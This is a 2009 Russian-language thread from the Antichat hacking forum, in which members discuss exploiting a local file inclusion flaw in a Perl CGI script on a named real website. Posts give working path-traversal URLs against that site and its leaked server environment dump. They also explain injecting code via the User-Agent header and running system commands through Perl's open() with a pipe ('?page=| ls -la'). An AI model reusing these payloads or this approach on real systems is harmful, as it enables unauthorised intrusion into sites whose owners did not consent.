
17.08.2009, 11:27
|
|
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
С нами:
10158086
Репутация:
1359
|
|
Сообщение от Tigger
Задаюсь я этим вопросом уже не впервый раз =\
Я проинклюдил /proc/self/environ, но инклюдящий файл не PHP, a CGI. PHP команды, разумеется, не пашут, так что же можно сделать?
//Как я понял мне нужен аналог system'a на perl'e, но может я не прав.
все зависит от того на каком языке написана cgi
для перла
Perl's exec(), and system() functions as well as the backtick operator can be used to execute system commands.
так же не факт что они там вообще eval-ятся.
|
|
|

17.08.2009, 11:38
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами:
9846041
Репутация:
1177
|
|
geezer.code
Но как обрамить код и прочее? Т.е. можешь привести пример (User-Agent: blablabla), а мне сейчас негде проверить, т.к. на этом сайте была просто читалка, но встречал такое очень часто.
|
|
|

17.08.2009, 11:55
|
|
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
С нами:
10158086
Репутация:
1359
|
|
Сообщение от Tigger
geezer.code
Но как обрамить код и прочее? Т.е. можешь привести пример (User-Agent: blablabla), а мне сейчас негде проверить, т.к. на этом сайте была просто читалка, но встречал такое очень часто.
я не перл-программер.
бегло пробежался по гуглу.
и поспрошал на канале у знатоков.
Перл не страдает таким извращением как пхп, и без "особых условий"
LFI как в пхп, провести нельзя.
|
|
|

17.08.2009, 17:29
|
|
Участник форума
Регистрация: 20.12.2007
Сообщений: 295
С нами:
9679872
Репутация:
347
|
|
Сообщение от Tigger
geezer.code
Но как обрамить код и прочее? Т.е. можешь привести пример (User-Agent: blablabla), а мне сейчас негде проверить, т.к. на этом сайте была просто читалка, но встречал такое очень часто.
выполнение PERL-кода ты получишь только если переменная попадет в do или eval, но такого почти никогда не бывает. Если используется open то иногда можно выполнять системные команды или писать в файлы
в случае mailbrush в коде index.cgi было так:
Код:
open (PAGE, "< $page");
знак '<' обозначает открыть файл для чтения, то есть уязвимость - простая читалка файлов.
если бы было так:
то тут уже можно выполнять команды, примерно так: ?page=| ls -la
знак конвеера - запустить команду, знак '>' - открыть для записи.
|
|
|

17.08.2009, 16:13
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Есть инклюд
Код:
http://www.lauralee.com/index.cgi?page=../../../../../../../proc/self/environ%00
При подмене заголовка User-Agent, в сорсах
ASPSERVER=aspvw.ahp.ftl.affinity.com DOCUMENT_ROOT=/nfs/cust/1/04/06/560401/web GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=*/* HTTP_HOST=www.lauralee.com HTTP_USER_AGENT=<?php echo "hello";?> ICSPATH=/usr/local/affinity/etc/lib/mivavm/icsdata MvCONFIG_COMMERCE_AUTHNET=/usr/local/affinity/etc/lib/mivavm/authnet.so MvCONFIG_COMMERCE_AuthorizeNet=/usr/local/affinity/etc/lib/mivavm/authnet.so MvCONFIG_COMMERCE_CYBERCASH=/usr/local/affinity/etc/lib/mivavm/cybercash.so MvCONFIG_COMMERCE_GlobalCommerce=/usr/local/affinity/etc/lib/mivavm/globcomm.so MvCONFIG_COMMERCE_ICS2=/usr/local/affinity/etc/lib/mivavm/ics2.so MvCONFIG_COMMERCE_LINKPOINT=/usr/local/affinity/etc/lib/mivavm/linkpoint.so MvCONFIG_COMMERCE_Paradata=/usr/local/affinity/etc/lib/mivavm/paradata.so MvCONFIG_COMMERCE_PNTransact=/usr/local/affinity/etc/lib/mivavm/pnt.so MvCONFIG_DIR_BUILTIN=/usr/local/affinity/etc/lib/mivavm/builtin MvCONFIG_DIR_CA=/usr/local/affinity/etc/lib/mivavm/certs MvCONFIG_DIR_CRYPTO=/lib/libcrypto.so.2 MvCONFIG_DIR_OPENSSL=/lib/libssl.so.2 MvCONFIG_FLAGS_SECURITY=5 MvCONFIG_TIMEOUT_GLOBAL=600 PATH=/usr/bin:/bin:/usr/local/bin QUERY_STRING=page=../../../../../../../proc/self/environ%00 REMOTE_ADDR=79.124.220.206 REMOTE_PORT=2305 REQUEST_METHOD=GET REQUEST_URI=/index.cgi?page=../../../../../../../proc/self/environ%00 SCRIPT_FILENAME=/nfs/cust/1/04/06/560401/web/index.cgi SCRIPT_NAME=/index.cgi SERVER_ADDR=172.28.2.161 SERVER_ADMIN=webmaster@lauralee.com SERVER_NAME=www.lauralee.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.1 SERVER_SIGNATURE= SERVER_SOFTWARE=Apache REMOTE_HOST=79.124.220.206 CSF_CLUSTERNAME=web MvCONFIG_DIR_MIVA=/nfs/cust/1/04/06/560401/web MvCONFIG_DIR_DATA=/nfs/cust/1/04/06/560401/web/htsdata
Т.е. PHP-код не интерпретируется. Можно ли, и если да, то как, обойти это?
Последний раз редактировалось mailbrush; 17.08.2009 в 16:16..
|
|
|

17.08.2009, 16:38
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
mailbrush
http://www.lauralee.com/index.cgi?page=./index.cgi%00
У меня с перлом хреново, но PHP код там точно исполняться не будет, можешь быть уверен
И инклуд тут тоже абсолютно непричём
Последний раз редактировалось jokester; 17.08.2009 в 16:41..
|
|
|

17.08.2009, 17:09
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
о_О, точно, спасибо  Вообще как-то не обратил внимания на расширение .cgi.
ЗЫ: А предыдущий вопрос от Tigger'a был точно такой же 
|
|
|

17.08.2009, 17:12
|
|
Banned
Регистрация: 29.09.2007
Сообщений: 512
С нами:
9798146
Репутация:
1224
|
|
есть cgi шеллы
|
|
|

17.08.2009, 17:34
|
|
Постоянный
Регистрация: 06.06.2007
Сообщений: 575
С нами:
9963746
Репутация:
180
|
|
какие атаки можно провести черех хедер запроса ? если его поля нефильтруються ?
|
|
|

17.08.2009, 18:54
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Все те же, что и GET, POST методом.
Всё зависит от кода.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|